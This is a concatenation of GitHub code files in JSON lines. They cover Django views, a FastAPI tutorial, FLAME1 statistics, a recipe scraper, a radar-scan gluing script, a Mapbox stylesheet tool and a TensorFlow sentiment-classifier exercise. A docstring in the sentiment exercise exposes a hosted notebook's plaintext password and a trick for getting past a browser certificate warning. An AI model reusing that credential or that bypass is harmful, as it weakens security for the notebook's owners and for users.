EditProfileForm(request=request, instance= dataUser)\r\n\r\n self.params['user'] = request.user\r\n self.params['form'] = form\r\n\r\n return render(request, self.template, self.params)\r\n\r\n\r\n def post(self, request):\r\n try:\r\n dataUser = DataUser.objects.get(user=request.user)\r\n except DataUser.DoesNotExist:\r\n dataUser = DataUser.objects.create(user=request.user)\r\n\r\n form = EditProfileForm(request.POST, request=request, instance = dataUser )\r\n\r\n self.params['form'] = form\r\n\r\n if form.is_valid():\r\n\r\n _first_name = form.cleaned_data['first_name']\r\n _last_name = form.cleaned_data['last_name']\r\n _date_birth = form.cleaned_data['date_birth']\r\n _phone = form.cleaned_data['phone']\r\n _adress = form.cleaned_data['adress']\r\n _country = form.cleaned_data['country']\r\n _state = form.cleaned_data['state']\r\n _city = form.cleaned_data['city']\r\n _dni = form.cleaned_data['dni']\r\n _imagen = form.cleaned_data['imagen']\r\n\r\n dataUser = DataUser.objects.filter(user=request.user).update(\r\n first_name = _first_name,\r\n last_name = _last_name,\r\n date_birth = _date_birth,\r\n phone = _phone,\r\n adress = _adress,\r\n country = _country,\r\n state = _state,\r\n city = _city,\r\n dni = _dni,\r\n imagen = _imagen)\r\n return redirect('home')\r\n\r\n # redirect to Home:\r\n return render(request, self.template, self.params)\r\n \r\n\r\ndef enviar_mensaje(request):\r\n if request.method == 'POST':\r\n form = MensajeForm(request.POST)\r\n if form.is_valid():\r\n mensaje = form.save(commit=False)\r\n mensaje.autor = request.user\r\n mensaje.save()\r\n messages.success(request, 'Tu mensaje ha sido enviado con éxito.')\r\n return redirect('ver_mensajes')\r\n else:\r\n form = MensajeForm()\r\n return render(request, 'enviar_mensaje.html', {'form': form})\r\n\r\n\r\ndef ver_mensajes(request):\r\n mensajes = Mensaje.objects.all().order_by('fecha')\r\n return render(request, 'ver_mensajes.html', {'mensajes': mensajes})","repo_name":"torresay/myfashionblog","sub_path":"tienda/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"27192444829","text":"'''\nThe same way that you can pass None as the first argument to be\nused as the default value, you can pass other values.\n\nLet's say that you want to declare the q query parameter to have\na min_length of 3, and to have a default value of \"fixedquery\"\n'''\nfrom fastapi import FastAPI, Query\n\napp = FastAPI()\n\n\n@app.get(\"/items/\")\nasync def read_items(q: str = Query(\"fixedquery\", min_length=3)):\n results = {\"items\": [{\"item_id\": \"Foo\"}, {\"item_id\": \"Bar\"}]}\n if q:\n results.update({\"q\": q})\n return results\n\n'''\nNote\n\nHaving a default value also makes the parameter optional.\n'''\n","repo_name":"Ribeiro-R/FastApi-Tutorial","sub_path":"Tutorial/05-Query-Parameters-and-String-Validations/05-Default-values/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"40343658452","text":"# -*- coding: utf-8 -*-\n# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\n# vi: set ft=python sts=4 ts=4 sw=4 et:\n\nfrom collections import defaultdict\nfrom typing import Any, Literal, NamedTuple\n\nimport nibabel as nib\nimport numpy as np\nimport pandas as pd\nimport scipy\nfrom numba import njit\nfrom numpy import typing as npt\n\nfrom ..utils.format import format_workflow\nfrom .base import ModelAlgorithm, demean, listwise_deletion\nfrom .miscmaths import f2z_convert, t2z_convert\n\n\n@njit\ndef calcgam(\n beta: float,\n y: npt.NDArray[np.float64],\n covariates: npt.NDArray[np.float64],\n s: npt.NDArray[np.float64],\n) -> tuple[np.ndarray, np.ndarray, np.ndarray]:\n variance = (s + beta).ravel()\n inverse_variance = np.reciprocal(variance)\n\n scaled_covariates = covariates.transpose() * inverse_variance\n gram_matrix = np.atleast_2d(scaled_covariates @ covariates)\n\n regression_weights, _, _, _ = np.linalg.lstsq(\n gram_matrix, scaled_covariates @ y, rcond=-1.0\n )\n\n return regression_weights, inverse_variance, gram_matrix\n\n\n@njit\ndef marg_posterior_energy(\n ex: float,\n y: npt.NDArray[np.float64],\n z: npt.NDArray[np.float64],\n s: npt.NDArray[np.float64],\n) -> float:\n regression_weights, inverse_variance, gram_matrix = calcgam(ex, y, z, s)\n inverse_variance_logarithmic_determinant = np.log(inverse_variance).sum()\n _, gram_matrix_logarithmic_determinant = np.linalg.slogdet(gram_matrix)\n energy = float(\n -0.5\n * (\n inverse_variance_logarithmic_determinant\n - gram_matrix_logarithmic_determinant\n - (\n (y.T * inverse_variance) @ y\n - regression_weights.T @ gram_matrix @ regression_weights\n ).item()\n )\n )\n\n return energy\n\n\ndef wrapper(\n ex: float,\n y: npt.NDArray[np.float64],\n z: npt.NDArray[np.float64],\n s: npt.NDArray[np.float64],\n) -> float:\n if ex < 0 or np.isclose(ex, 0.0):\n return 1e32 # very large value\n try:\n energy = marg_posterior_energy(ex, y, z, s)\n if np.isfinite(energy):\n return energy\n except np.linalg.LinAlgError:\n pass\n return 1e32\n\n\ndef solveforbeta(\n y: npt.NDArray[np.float64], z: npt.NDArray[np.float64], s: npt.NDArray[np.float64]\n) -> float:\n result = scipy.optimize.minimize_scalar(wrapper, args=(y, z, s), method=\"brent\")\n beta = max(1e-10, result.x)\n return beta\n\n\ndef flame_stage1_onvoxel(\n y: npt.NDArray[np.float64], z: npt.NDArray[np.float64], s: npt.NDArray[np.float64]\n) -> tuple[npt.NDArray[np.float64], npt.NDArray[np.float64]]:\n norm = np.std(y)\n\n if np.isclose(norm, 0):\n raise ValueError(\"Dependent variable has zero variance\")\n\n y /= norm\n s /= np.square(norm)\n\n if np.any(s < 0):\n raise ValueError(\"Variance needs to be non-negative\")\n\n beta = solveforbeta(y, z, s)\n\n regression_weights, _, gram_matrix = calcgam(beta, y, z, s)\n\n regression_weights *= norm\n gram_matrix /= np.square(norm)\n\n return regression_weights, gram_matrix\n\n\nclass TContrastResult(NamedTuple):\n cope: float\n var_cope: float\n t: float\n z: float\n\n\ndef t_ols_contrast(\n regression_weights: npt.NDArray[np.float64],\n gram_matrix: npt.NDArray[np.float64],\n degrees_of_freedom: int,\n t_contrast: npt.NDArray[np.float64],\n) -> TContrastResult:\n cope = (t_contrast @ regression_weights).ravel().item()\n\n a = np.linalg.lstsq(gram_matrix, t_contrast.T, rcond=None)[0]\n var_cope = (t_contrast @ a).ravel().item()\n\n t = cope / np.sqrt(var_cope)\n z = t2z_convert(t, degrees_of_freedom)\n\n return TContrastResult(cope, var_cope, t, z)\n\n\nclass FContrastResult(NamedTuple):\n cope: npt.NDArray[np.float64]\n var_cope: npt.NDArray[np.float64]\n t: npt.NDArray[np.float64]\n f: float\n z: float\n\n\ndef f_ols_contrast(\n regression_weights: npt.NDArray[np.float64],\n gram_matrix: npt.NDArray[np.float64],\n numerator_degrees_of_freedom: int,\n denominator_degrees_of_freedom: int,\n f_contrast: npt.NDArray[np.float64],\n):\n cope = (f_contrast @ regression_weights).ravel()\n\n a = f_contrast @ np.linalg.lstsq(gram_matrix, f_contrast.T, rcond=None)[0]\n var_cope = np.diag(a)\n\n t = cope / np.sqrt(var_cope)\n b = np.linalg.lstsq(a, cope, rcond=None)[0]\n f = float(cope.T @ b) / numerator_degrees_of_freedom\n z = f2z_convert(f, numerator_degrees_of_freedom, denominator_degrees_of_freedom)\n\n return FContrastResult(cope, var_cope, t, f, z)\n\n\ndef flame1_contrast(mn, inverse_covariance, npts, cmat):\n nevs = len(mn)\n\n n, _ = cmat.shape\n\n if n == 1:\n tdoflower = npts - nevs\n r = t_ols_contrast(mn, inverse_covariance, tdoflower, cmat)\n mask = np.isfinite(r.z)\n return dict(\n cope=r.cope,\n var_cope=r.var_cope,\n dof=tdoflower,\n tstat=r.t,\n zstat=r.z,\n mask=mask,\n )\n\n elif n > 1:\n fdof1 = n\n\n fdof2lower = npts - nevs\n\n r = f_ols_contrast(mn, inverse_covariance, fdof1, fdof2lower, cmat)\n mask = np.isfinite(r.z)\n return dict(\n cope=r.cope,\n var_cope=r.var_cope,\n tstat=r.t,\n fstat=r.f,\n dof=[fdof1, fdof2lower],\n zstat=r.z,\n mask=mask,\n )\n\n\ndef flame1_prepare_data(y: np.ndarray, z: np.ndarray, s: np.ndarray):\n # Filtering for design matrix is already done,\n # so the nans that are left should be replaced with zeros.\n z = np.nan_to_num(z)\n\n # If we don't have any variance information, set it to zero.\n if np.isnan(s).all():\n s[:] = 0\n\n # Remove observations with nan cope/varcope\n y, z, s = listwise_deletion(y, z, s)\n\n # finally demean the design matrix\n z = demean(z)\n\n return y, z, s\n\n\nclass FLAME1(ModelAlgorithm):\n model_outputs: list[str] = []\n contrast_outputs = [\n \"copes\",\n \"var_copes\",\n \"zstats\",\n \"tstats\",\n \"fstats\",\n \"dof\",\n \"masks\",\n ]\n\n @staticmethod\n def voxel_calc(\n coordinate: tuple[int, int, int],\n y: np.ndarray,\n z: np.ndarray,\n s: np.ndarray,\n cmatdict: dict,\n ) -> dict | None:\n y, z, s = flame1_prepare_data(y, z, s)\n\n npts = y.size\n\n try:\n mn, inverse_covariance = flame_stage1_onvoxel(y, z, s)\n except (np.linalg.LinAlgError, ValueError, SystemError):\n return None\n\n voxel_result: dict[str, dict[tuple[int, int, int], Any]] = defaultdict(dict)\n\n with np.errstate(all=\"raise\"):\n for name, cmat in cmatdict.items():\n try:\n r = flame1_contrast(mn, inverse_covariance, npts, cmat)\n voxel_result[name][coordinate] = r\n except (np.linalg.LinAlgError, FloatingPointError, SystemError):\n continue\n\n return voxel_result\n\n @classmethod\n def write_outputs(\n cls,\n reference_image: nib.analyze.AnalyzeImage,\n contrast_matrices: dict,\n voxel_results: dict,\n ) -> dict[str, list[Literal[False] | str]]:\n output_files: dict[str, list[Literal[False] | str]] = dict()\n\n for output_name in cls.contrast_outputs:\n output_files[output_name] = [False] * len(contrast_matrices)\n\n for i, contrast_name in enumerate(\n contrast_matrices.keys()\n ): # cmatdict is ordered\n contrast_results = voxel_results[contrast_name]\n results_frame = pd.DataFrame.from_records(contrast_results)\n\n # Ensure that we always output a mask\n if \"mask\" not in results_frame.index:\n empty_mask = pd.Series(\n data=False, index=results_frame.columns, name=\"mask\"\n )\n results_frame = results_frame.append(empty_mask) # type: ignore\n # Ensure that we always output a zstat\n if \"zstat\" not in results_frame.index:\n empty_zstat = pd.Series(\n data=np.nan, index=results_frame.columns, name=\"zstat\"\n )\n results_frame = results_frame.append(empty_zstat) # type: ignore\n\n for map_name, series in results_frame.iterrows():\n output_prefix = f\"{map_name}_{i+1}_{format_workflow(contrast_name)}\"\n fname = cls.write_map(reference_image, output_prefix, series)\n\n if map_name in frozenset([\"dof\"]):\n output_name = str(map_name)\n\n else:\n output_name = f\"{map_name}s\"\n\n if output_name in output_files:\n output_files[output_name][i] = str(fname)\n\n return output_files\n","repo_name":"HALFpipe/HALFpipe","sub_path":"src/halfpipe/stats/flame1.py","file_name":"flame1.py","file_ext":"py","file_size_in_byte":8791,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"60"} +{"seq_id":"38921307668","text":"# mkdir pycon-scraper\n# virtualenv venv\n# cd venv\n# source bin/activate\n# (venv) $ pip3 install requests beautifulsoup4\n\nimport json\nimport requests\nimport bs4\nimport time\n\n\nrecipe_index = 1\nresult = []\n\nfor page in range(1, 195):\n response = requests.get('http://www.1001recepti.com/s/204346-salati/' + str(page))\n response.encoding = 'windows-1251'\n # response.text -> za proverka samo :)\n # print(res.text) --> samo za info!\n\n soup = bs4.BeautifulSoup(response.text)\n links = soup.select('.rec .ss a')\n links = [a.attrs.get('href') for a in soup.select('.rec .ss a')]\n\n print('Downloaded recipe list ' + str(page))\n\n for link in links:\n current_recipe = {}\n recipe_page_html = requests.get(link)\n recipe_page_html.encoding = 'windows-1251'\n recipe_page = bs4.BeautifulSoup(recipe_page_html.text)\n\n title = recipe_page.select('article h1')[0].text\n current_recipe['title'] = title\n\n ingredients = recipe_page.select('.recipe_ingr')[0].text\n current_recipe['ingredients'] = ingredients.replace('\\t', '').replace('\\n' * 5, '\\n').replace('\\n\\r\\n', ' ').replace('\\n\\n\\n\\n', '').strip()\n\n instructions = recipe_page.select('#rtext')[0].text\n current_recipe['instructions'] = instructions.replace('\\t', '')\n\n calories = recipe_page.select('.tr0.pt3 .dv.str span')[0].text\n current_recipe['calories'] = calories\n\n result.append(current_recipe)\n print('saved recipe ' + str(recipe_index))\n recipe_index += 1\n\n time.sleep(1)\n\n with open(\"salati-pages1-\" + str(page) + \".json\", \"w\") as current_file:\n json.dump(result, current_file, indent=True, ensure_ascii=False)\n\n\nwith open(\"scrape.json\", \"w\") as f:\n json.dump(result, f, indent=True, ensure_ascii=False)\n","repo_name":"pgergov/WhatToEat","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"72872276352","text":"#!/usr/bin/env python3\nimport serial\nimport sys\nimport os\n\n\ndef avg(l):\n return sum(l)/len(l)\ndef med(l):\n l.sort()\n return l[len(l)//2]\n\ndev = serial.Serial(\"/dev/ttyUSB0\", 115200)\nres = ''\n\nos.system(\"make clean && make && make flash\")\nprint(\"> Returned data:\\n\")\n\nstart = False\nwhile True:\n x = dev.read()\n try:\n s = x.decode('utf-8')\n if not start:\n start = s == 'S'\n continue \n \n print(s, end='')\n \n if start and s == 'D':\n break \n res += s\n except:\n pass\n\n\nclean = [int(x) for x in res.strip().split()]\n\nprint(clean)\nprint(avg(clean))\nprint(med(clean))\n\nf = open('res', 'w')\nf.write(\"Cycles: \"+str(clean))\nf.write(\"Average: \"+str(avg(clean))+\"\\n\")\nf.write(\"Median: \"+str(med(clean))+\"\\n\")\nf.close()\n\n\n\n","repo_name":"fragerar/Masked_qTESLA","sub_path":"CortexM4/read_guest.py","file_name":"read_guest.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"29101588939","text":"\"\"\"\n\nYou can use any environment and language you are comfortable with. We strongly recommend using a deep learning framework (e.g. PyTorch, Tensorflow) for this interview. Please share your screen as you do so.\n\nIf you prefer, you can use a hosted Jupyter notebook which has several deep learning frameworks preinstalled: https://ec2-18-220-48-237.us-east-2.compute.amazonaws.com:8888/ - You will have to click on the screen (there will be no display prompt) and type 'thisisunsafe' to get behind the warning if you are using Chrome, due to a temporarily missing cert. The password is peixuan.\n\nYour task is to build a multiway classifier that will predict the associated sentiment of a given sentence on a 1-5 scale (1=strongly negative, 5=strongly positive).\n\n\n\"\"\"\n\n\n\nimport requests\nimport csv\nimport io\nimport tensorflow as tf\nfrom sklearn.model_selection import train_test_split\n\ndef fetch_data(url):\n \"\"\"\n Pulls the dataset into a list of lists in the form of:\n [[int: label_1, str: sentence_1],\n [int: label_2, str: sentence_2],\n ...\n [int: label_n, str: sentence_n]]\n \"\"\"\n r = requests.get(url).content\n raw_data = list(csv.reader(io.StringIO(r.decode('utf-8')), delimiter=\"\\t\"))\n data = [[int(label), sent] for label, sent in raw_data]\n return data\n\n\nclass TokenMapper:\n def __init__(self, vocab):\n \"\"\"\n The straightforward constructor.\n Each token is assigned its own unique int id.\n\n Params:\n vocab: List[str]\n \"\"\"\n self.vocab = ['__pab__', \"__unk__\"] + vocab\n self.vocab_to_id = {token: i for i, token in enumerate(self.vocab)}\n\n def get_indices(self, sentence):\n \"\"\"\n Encodes the given sentence into its int representation. This is done on a token level.\n\n Usage:\n >> mapper.get_indices(\"This is an example\")\n .. [1, 2, 3, 4]\n\n Params:\n sentence: str\n\n Return:\n A list of int ids corresponding to each token in `sentence`.\n \"\"\"\n return [self.vocab_to_id[token] for token in sentence.split(\" \")]\n\n def get_sentence(self, indices):\n \"\"\"\n Decodes the given indices into its str representation. This is done on a token level.\n\n Usage:\n >> mapper.get_tokens([1, 2, 3, 4])\n .. \"This is an example\"\n\n Params:\n indices: List[str]\n\n Return:\n The resulting sentence string.\n \"\"\"\n return \" \".join(self.vocab[idx] for idx in indices)\n\n @classmethod\n def compile(cls, dataset):\n \"\"\"\n Compiles the given dataset into a TokenMapper.\n\n Params:\n dataset: List[Tuple[int, str]]\n\n Return:\n A TokenMapper\n \"\"\"\n vocab = sorted({token for label, sent in dataset for token in sent.split(\" \")})\n return cls(vocab)\n\n\n# variables\nurl = \"https://raw.githubusercontent.com/pyxyyy/sst-sentiment/master/sst_data.tsv\"\nbatch_size = 64\nepochs = 10\nlr = 1e-3\n\n\ndata = fetch_data(url)\n\n#tokenzier = TokenMapper()\ntokenzier = TokenMapper.compile(data)\n\n# process the dataset\nX, y = [tokenzier.get_indices(words) for _, words in data], [label-1 for label, _ in data]\n\n# split the dataset train, validation and test set\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.30, random_state=42)\nX_val, X_test, y_val, y_test = train_test_split(X_test, y_test, test_size=.50, random_state=42)\n\nX_train = tf.keras.preprocessing.sequence.pad_sequences(X_train, padding=\"post\")\n# X_test = tf.keras.preprocessing.sequence.pad_sequences(X_train, padding=\"post\")\n# X_val = tf.keras.preprocessing.sequence.pad_sequences(X_train, padding=\"post\")\n\n\n# tensorflow dataset\ntrain_dataset = tf.data.Dataset.from_tensor_slices((X_train, y_train)).shuffle(500).padded_batch(batch_size)\n# val_dataset = tf.data.Dataset.from_tensor_slices((X_val, y_val))\n# test_dataset = tf.data.Dataset.from_tensor_slices((X_test, y_test))\n\n# initlize the optimizer and loss function\noptimizer = tf.keras.optimizers.Adam(learning_rate=lr)\nloss = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True) # unnormalized output\n\n# model\nclass Model(tf.keras.Model):\n def __init__(self, vocab_size, emb_dim=64, classes=5):\n super(Model, self).__init__()\n self.emb = tf.keras.layers.Embedding(vocab_size, emb_dim)\n self.lstm1 = tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(64, return_sequences=True))\n self.lstm2 = tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(32))\n self.dense1 = tf.keras.layers.Dense(64, activation=\"relu\") # batch*64\n self.dense2 = tf.keras.layers.Dense(classes) # batch * classes\n\n def call(self, X):\n X_emb = self.emb(X)\n X = self.lstm1(X_emb)\n X = self.lstm2(X)\n X= self.dense1(X)\n X = self.dense2(X)\n return X\n\n# initialize the model\nvocab_len = len(tokenzier.vocab)\nmodel = Model(vocab_len, emb_dim=64, classes=5)\n\n# train function\n@tf.function(experimental_relax_shapes=True)\ndef train_step(X, y):\n with tf.GradientTape() as tape:\n logit = model(X)\n curr_loss = loss(y, logit)\n\n gradients = tape.gradient(curr_loss, model.trainable_variables)\n optimizer.apply_gradients(zip(gradients, model.trainable_variables))\n return tf.argmax(tf.nn.softmax(logit), 1), curr_loss\n\n# training loop\n\nfor epoch in range(epochs):\n epoch_avg_loss = tf.keras.metrics.Mean()\n epoch_avg_performance = tf.keras.metrics.Accuracy()\n\n for i, (X, label) in enumerate(train_dataset.take(500)):\n logit, curr_loss = train_step(X, label)\n\n epoch_avg_loss.update_state(curr_loss)\n epoch_avg_performance.update_state(label, logit)\n\n if i % 10:\n print(\"epoch %s, batch %s, epoch loss %s, epoch Acc %s\" %(epoch, i,\n epoch_avg_loss.result().numpy(), epoch_avg_performance.result().numpy()))\n","repo_name":"imraviagrawal/scratchImplementations","sub_path":"ml_implemmentation/sentimentAnalysis.py","file_name":"sentimentAnalysis.py","file_ext":"py","file_size_in_byte":5953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8514160989","text":"# Función de ayuda para graficar los círculos\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef graficar_circulo(x1, y1, r1, x2, y2, r2):\n theta = np.linspace(0, 2*np.pi, 100) \n\n figure, axes = plt.subplots(1)\n \n a1 = r1*np.cos(theta) + x1\n b1 = r1*np.sin(theta) + y1\n axes.plot(a1, b1)\n \n a2 = r2*np.cos(theta) + x2\n b2 = r2*np.sin(theta) + y2\n axes.plot(a2, b2)\n \n axes.set_aspect(1)\n plt.grid(True)\n\n plt.title('Circulos')\n plt.show()\n","repo_name":"nubol23/python101-test-cases","sub_path":"utils/plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"74318742590","text":"\"\"\"\nScript to concatenate, or \"glue\", CSU X-Band radar elevation scans into a single volume\n\nWritten: Joe O'Brien - 15 Sept 2022\n\"\"\"\n\nimport os\nimport sys\nimport numpy as np\nimport time\nimport datetime\n\nfrom dask.distributed import Client, LocalCluster\n\nimport pyart\n\n#-----------------\n# Define Functions\n#-----------------\n# Define syntax. \ndef help_message():\n print('\\n')\n print('Syntax: sail_glue.py input_path output_path\\n\\n')\n print('PURPOSE: ')\n print(' To Create Volume Scans from Individual SAIL CSU X-Band Elevation Scans \\n')\n print(' INPUT: ')\n print(' input_path - Directory Path to SAIL Data ')\n print(' output_path - Directory Path to Output Data\\n')\n print(' Example: python sail_glue.py /202203/ /202203/glued \\n')\n\ndef radar_glue(b_radar, radar_list):\n for rad in radar_list:\n b_radar = pyart.util.join_radar(b_radar, rad)\n \n return b_radar\n\ndef volume_from_list(vlist):\n try:\n base_radar = pyart.io.read(vlist[0])\n radars = [pyart.io.read(sw) for sw in vlist[1::]]\n glue = radar_glue(base_radar, radars)\n del base_radar\n del radars\n except:\n glue = []\n pass\n \n return glue\n\ndef granule(Dvolume, OUT_DIR):\n #OUTPUT_DIR = '/gpfs/wolf/atm124/proj-shared/gucxprecipradarS2.00/glue_files/202203_glue/'\n if len(Dvolume) == 8:\n try:\n base_rad = pyart.io.read(Dvolume[0])\n\n out_radar = volume_from_list(Dvolume)\n if out_radar:\n ff = time.strptime(out_radar.time['units'][14:], '%Y-%m-%dT%H:%M:%SZ')\n dt = datetime.datetime.fromtimestamp(time.mktime(ff)) + datetime.timedelta(seconds = int(out_radar.time['data'][0]))\n strform = dt.strftime(OUTPUT_DIR + 'xprecipradar_guc_volume_%Y%m%d-%H%M%S.b1.nc')\n print(strform)\n #FIX for join issue.. to be fixed in Py-ART\n out_radar.sweep_mode['data'] = np.tile(base_rad.sweep_mode['data'], N_TILTS)\n nwrite = pyart.io.write_cfradial(strform, out_radar)\n del out_radar\n del nwrite\n del base_rad\n except:\n print(\"FAILED GRANULE\")\n pass\n\n#-----------------\n# Input Parameters\n#-----------------\n# Check input parameters. \nfor param in sys.argv:\n if param.startswith('-h') | param.startswith('-help') | param.startswith('--h'):\n help_message()\n exit()\n# Check to make sure correct number of input parameters are sent. \nif (len(sys.argv) > 2):\n OUTPUT_DIR = sys.argv[-2]\n DATA_DIR = sys.argv[-1]\nelse:\n help_message()\n exit()\n\n#----------------------------\n# Define processing variables\n#----------------------------\n# Define location of the raw data - NOTE: Must be untarred!\n#DATA_DIR = '/Users/jrobrien/ARM/data/CSU-XPrecipRadar/raw/tmp/'\n# Define the suffix of the base scan\nBASE_SCAN_PPI = '1_PPI.nc'\n# Define the desired suffix of the volume file\nPPI_PATTERN = 'PPI.nc'\n# Define the number of elevation levels\nN_TILTS = 8\n\n# Select the days to process\nDAY = 'gucxprecipradarS2.00.' + '202203*'\n\n#--------------------\n# Create Volume Scans\n#--------------------\n# sort the input files\nall_files = glob.glob(DATA_DIR + '*.nc')\nall_files.sort()\n\n# Iterate over the files within the directory.\n# Determine which are base scans and which are ppi scans\n# NOTE: There are RHI scans within the tar file not used.\nbase_scans = []\nvolumes = []\nppis = []\nin_volume = False\nfor file in all_files:\n if PPI_PATTERN in file:\n ppis.append(file)\n if BASE_SCAN_PPI in file:\n base_scans.append(file)\n\n# Determine the scan volumes\nvolumes = []\nfor base in base_scans:\n base_scan_index = np.where(np.array(ppis) == base)[0][0]\n volume = ppis[base_scan_index: base_scan_index + N_TILTS]\n volumes.append(volume)\n\n#--------------------\n# Setup Dask Cluster\n#--------------------\n\n# Start up a Dask Cluster for Processing the Granule function\nfrom dask.distributed import Client, LocalCluster\n\ncluster = LocalCluster()\n\n#cluster.scale(16) # Sets the number of workers to 10\n#cluster.adapt(minimum=8, maximum=16)\nclient = Client(cluster)\n\n# Use Dask distributed map utility to call the granule function\nfuture = client.map(granule, volumes, OUTPUT_DIR)\n\nmy_data = client.gather(future)\n\n# Check on the client\n#print(client)","repo_name":"ARM-Development/sail-xprecip-radar","sub_path":"scripts/sail_glue.py","file_name":"sail_glue.py","file_ext":"py","file_size_in_byte":4437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18779537078","text":"import pandas as pd\nimport streamlit as st\nimport requests\n\nst.title(\"Get Mapbox Stylesheet\", anchor=None)\n# st.text()\nst.markdown(\"We often use Mapbox maps to visualize our data. When we can we try to make these styles publicly available. Although some of our data is added to the maps on page load, sometimes it's helpful to see the map's style sheet. Feel free to use this tool to look at the JSON stylesheet data for our public maps or use it as tool to look at yoru own. Pro tip, this is a great tool if you style a layer in Mapbox Studio and want to copy the JSON data to add via Mapbox GL JS.\")\n\n# streamlit text input\n\ndef get_stylesheet(style_url, key, layer):\n\n if style_url == \"\":\n st.write(\"Please enter a Mapbox Style URL\")\n elif key == \"\":\n st.write(\"Please enter a Mapbox access token\")\n elif layer != \"\" and key != \"\" and style_url != \"\":\n st.write(\"Live Map link: \" + \"https://api.mapbox.com/styles/v1/\"+ style_url[16:]+\".html?title=view&access_token=\"+ key +\"&zoomwheel=true&fresh=true\")\n stylesheet_url = \"https://api.mapbox.com/styles/v1/\" + style_url[16:] + \"?access_token=\" + key\n response = requests.get(stylesheet_url)\n if response.status_code == 200:\n data = response.json()\n for l in data[\"layers\"]:\n if l[\"id\"] == layer:\n st.write(l)\n return\n st.write(\"Layer not found try removing the layer name and printing the entire stylesheet\")\n else:\n st.write(\"Error retrieving data from API\")\n else:\n st.write(\"Live Map link: \" + \"https://api.mapbox.com/styles/v1/\"+ style_url[16:]+\".html?title=view&access_token=\"+ key +\"&zoomwheel=true&fresh=true\")\n stylesheet_url = \"https://api.mapbox.com/styles/v1/\" + style_url[16:] + \"?access_token=\" + key\n response = requests.get(stylesheet_url)\n if response.status_code == 200:\n data = response.json()\n st.write(data)\n else:\n st.write(\"Error retrieving data from API\")\n\n\nmb_style_url = st.text_input('Mapbox Style URL (copy this from the share menu of the map style)', '')\nmb_key = st.text_input('Mapbox access token (Use a token from your account if the map style is public you will be able to access the stylesheet)', '')\nlayer_id = st.text_input('layer of interest (optional, if this is not included the entire style sheet will be returned)')\ntesturl = \"mapbox://styles/highestroad/clagdhi60000v14royyoi5w1m\"\n\nif st.button(\"Get Stylesheet\"):\n get_stylesheet(mb_style_url, mb_key, layer_id)\n\n\n\n","repo_name":"earthrise-media/plotline","sub_path":"data-exploration/streamlit-app/pages/3_🗺️Get_Mapbox_Stylesheet.py","file_name":"3_🗺️Get_Mapbox_Stylesheet.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"21335298169","text":"from random import randint\r\nvitorias_user = 0\r\nwhile True:\r\n pc = randint(0,10)\r\n par_impar = ' '\r\n while par_impar not in 'PI': #essa verificação é para o usuario nao digitar valores diferentes de P ou I\r\n par_impar = str(input('Escolha entre par ou ímpar [P/I] ')).strip().upper()[0]\r\n user = int(input('Digite um valor entre 0 e 10: '))\r\n resultado = pc+user\r\n print(f'Apurador de valores: [PC: {pc} / USER: {user}]')\r\n if (par_impar == 'PAR') and (resultado%2==0):\r\n vitorias_user += 1\r\n print('Você ganhou!!!')\r\n elif (par_impar == 'IMPAR') and (resultado%2!=0):\r\n vitorias_user += 1\r\n print('Você ganhou!!!')\r\n else:\r\n print('A máquina ganhou!!! Fim do programa.')\r\n break\r\nprint(f'Você obteve {vitorias_user} vitória(s)')","repo_name":"rtreale/Desafios-Curso_em_Video","sub_path":"MUNDO 02/desafio068.py","file_name":"desafio068.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21682281107","text":"# Python standard Library\nimport pickle\nimport argparse\nimport os\n\n# Third party libraries\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import RandomizedSearchCV\nimport lightgbm as lgb\nfrom sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier\nfrom xgboost import XGBClassifier\nfrom catboost import CatBoostClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import VotingClassifier\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense\n\n# Local Libraries\nimport grid_config\nfrom model.evaluation import get_performance, get_roc\nfrom scripts.preprocessing import get_data_preprocessed\n\n\ndef parse_args():\n \"\"\"\n Receives arguments in the command line.\n\n Parameters\n ----------\n\n Returns\n -------\n args object\n With the variables taken from de command line.\n \"\"\"\n parser = argparse.ArgumentParser(description=\"Train your model.\")\n\n parser.add_argument(\n \"from_folder\",\n type=str,\n nargs='?',\n default=\"data/complete_data.csv\",\n\n help=(\n \"Full path to the CSV file with data E.g. \" \"src/data/complete_data.csv.\"\n ),\n )\n\n parser.add_argument(\n \"grid_search\",\n type=str,\n nargs='?',\n default=\"No\",\n help=(\"Yes or No to load gridsearch from grid_config.py \"),\n )\n\n parser.add_argument(\n \"model_name\",\n type=str,\n nargs='?',\n default=\"LightGBM\",\n help=(\n \"Model choosen to train i.e.\" \"lightgbm, randomforest, catboost, enssemble\"\n ),\n )\n\n parser.add_argument(\n \"cross_validation\",\n type=int,\n nargs='?',\n default=3,\n 